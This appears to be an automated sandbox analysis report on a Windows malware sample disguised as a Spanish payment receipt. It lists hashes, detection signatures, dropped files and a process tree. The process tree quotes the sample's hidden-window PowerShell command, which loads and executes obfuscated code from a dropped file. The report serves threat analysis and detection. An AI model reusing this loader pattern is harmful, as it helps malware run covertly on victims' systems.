Analysis

  • max time kernel
    122s
  • max time network
    128s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    23-10-2024 20:09

General

  • Target

    justificante de pago.exe

  • Size

    990KB

  • MD5

    d3c00b7eda8c538a2938610398e69a74

  • SHA1

    cd93e03dc64c2064d0aa586e00a00f9c99ea36bc

  • SHA256

    2e2dd6f6dd471723ad206f6b8f154f3a84aba592e2838942b5e35b4378522ef4

  • SHA512

    719c03d1ded02334f1f74812f8e4a193f9028291eb190d4e241b4b34b055c6c7deef31bf33bea047a551ee14df35443a6cefe294907ac87b0918dade5f470837

  • SSDEEP

    24576:J+63+OSOWAnNN591nNr8xAGuwIm/yWiopvC9wF:J+tOSqnNN591S/RaWi6MwF

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\justificante de pago.exe
    "C:\Users\Admin\AppData\Local\Temp\justificante de pago.exe"
    1⤵
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2848
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Minimals=Get-Content -raw 'C:\Users\Admin\AppData\Local\fona\Kvit\Fyldiges.Tid';$Aesthete=$Minimals.SubString(54366,3);.$Aesthete($Minimals)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1472
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Minimals=Get-Content -raw 'C:\Users\Admin\AppData\Local\fona\Kvit\Fyldiges.Tid';$Aesthete=$Minimals.SubString(54366,3);.$Aesthete($Minimals)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2172

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\depoh.lnk

    Filesize

    898B

    MD5

    cdb23e8da3adab7f58280186abf30572

    SHA1

    0599fb63a7fa857094947726ea8a7b5e142172f0

    SHA256

    00d34a0f08952acbfc03c1a44db12f384819b83f4340d2e6a90576b394d8481b

    SHA512

    c8cb8fcb6ba9aee25d9f1afc83e488aef22145a02f895714ad9dbea9040390240485926655f4593c1094c451089a5a0852300cf10b64fdaccc8a51ef0c86dd2b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\depoh.lnk

    Filesize

    852B

    MD5

    f531f1b805017206cd3d0f52e088fbbf

    SHA1

    00eacc2e15236a38e743d0203493335c029d97ca

    SHA256

    0b472228e563bfb78ab84bcee81c5e86bfb54ed3d24b1cef470c00d54c6d1a22

    SHA512

    bceeb4c7dbcb458e42a923ed21f1e37a6404c75f7e76d43a0005bef21a9c6c7efc8e0b4aec8b301f98f8dc95e8e741dfa5bb86ace74548f56331e6eec7b5bb09

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    0cbab3a16d4a738d250d9875401732e4

    SHA1

    f598fd94570c18c2bc5827e2eda04d1f5cbddafc

    SHA256

    393ea13c5d77e80ac443ca757c6c46de1a33a9495f1e5870cc47657f5cf4c513

    SHA512

    b667cf4f1d2a90632c0aa94a6b323c6e6f14869078c2f69df5f9d76104b4866b89f12a5faee61619fa5d31e43741e9fddc17265defb4345170db6b0953002b79

  • memory/1472-141-0x00000000744D1000-0x00000000744D2000-memory.dmp

    Filesize

    4KB

  • memory/1472-142-0x00000000744D0000-0x0000000074A7B000-memory.dmp

    Filesize

    5.7MB

  • memory/1472-143-0x00000000744D0000-0x0000000074A7B000-memory.dmp

    Filesize

    5.7MB

  • memory/1472-144-0x00000000744D0000-0x0000000074A7B000-memory.dmp

    Filesize

    5.7MB

  • memory/1472-145-0x00000000744D0000-0x0000000074A7B000-memory.dmp

    Filesize

    5.7MB

  • memory/1472-146-0x00000000744D0000-0x0000000074A7B000-memory.dmp

    Filesize

    5.7MB